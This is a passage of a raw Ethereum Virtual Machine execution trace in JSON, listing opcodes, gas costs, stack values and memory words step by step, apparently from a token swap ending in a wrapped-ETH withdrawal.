00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3116,"op":"JUMPDEST","gas":19102,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3117,"op":"PUSH32","gas":19101,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3150,"op":"PUSH1","gas":19098,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3152,"op":"PUSH1","gas":19095,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3154,"op":"PUSH1","gas":19092,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3156,"op":"SHL","gas":19089,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3157,"op":"SUB","gas":19086,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3158,"op":"AND","gas":19083,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3159,"op":"PUSH4","gas":19080,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3164,"op":"DUP4","gas":19077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3165,"op":"PUSH1","gas":19074,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3167,"op":"DUP6","gas":19071,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3168,"op":"MLOAD","gas":19068,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3169,"op":"PUSH2","gas":19065,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637